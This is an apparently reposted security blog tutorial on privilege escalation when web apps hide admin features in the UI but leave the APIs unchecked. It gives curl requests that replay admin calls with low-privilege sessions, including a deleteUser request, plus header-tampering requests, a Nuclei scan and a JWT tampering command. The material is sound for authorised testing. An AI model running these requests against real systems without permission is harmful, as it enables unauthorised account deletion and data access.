Privilege Escalation: Exploiting UI-Based Role Changes in Web Applications

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When a user’s role changes from high privilege to low privilege, certain UI elements may disappear, but the underlying functionality might still be accessible via direct API requests. This oversight can lead to privilege escalation vulnerabilities.

You Should Know:

1. Identifying Hidden Endpoints

Use Burp Suite or OWASP ZAP to intercept requests when switching roles. Look for endpoints that:
– Are accessible after role demotion
– Return 200 OK or 403 Forbidden (sometimes misconfigured)

Example Commands:

 Capture requests with Burp
curl -X GET "https://target.com/admin/features" -H "Cookie: session=HIGH_PRIV_SESSION" --proxy http://127.0.0.1:8080

Replay with low-priv session
curl -X GET "https://target.com/admin/features" -H "Cookie: session=LOW_PRIV_SESSION" --proxy http://127.0.0.1:8080

2. Testing for Broken Access Control

If a feature disappears from the UI, replay the request manually:
– Check for IDOR (Insecure Direct Object Reference)
– Test parameter tampering (e.g., user_id=admin)

Example Exploit:

 Using curl to test endpoint accessibility
curl -X POST "https://target.com/api/deleteUser" -d '{"user_id":"admin"}' -H "Authorization: Bearer LOW_PRIV_TOKEN"

3. Bypassing UI Restrictions

  • Modify HTTP headers (e.g., X-Original-URL: /admin)
  • Use HTTP method tampering (GET vs `POST` vs PUT)

Burp Suite Intruder Payload:

GET /admin/panel HTTP/1.1 
Host: target.com 
X-Forwarded-For: 127.0.0.1

4. Automated Scanning with Nuclei

nuclei -u https://target.com -t ~/nuclei-templates/misconfiguration/role-based-access-control.yaml

5. Linux Command for Log Analysis

grep "admin" /var/log/nginx/access.log | awk '{print $7}' | sort | uniq -c

What Undercode Say:

This vulnerability stems from incomplete server-side validation. Even if the UI hides features, APIs must enforce strict role checks. Always test:
– Session validity after role changes
– Cached responses (e.g., curl -I https://target.com/admin --header "Cookie: expired=but_still_works")
– JWT tampering (jwt_tool <JWT_TOKEN> -X k)

Expected Output:

A successful exploit would allow a low-privileged user to perform admin actions, such as:
– User deletion (DELETE /api/users/1)
– Data extraction (GET /api/secrets)
– Configuration changes (POST /api/settings)

Prediction:

As more apps move to SPA (Single Page Applications), such flaws will increase due to heavy reliance on client-side controls. Expect more API-based privilege escalation in 2024-2025.

URLs for further reading:

References:

Reported By: Abdelaziz Ahmed – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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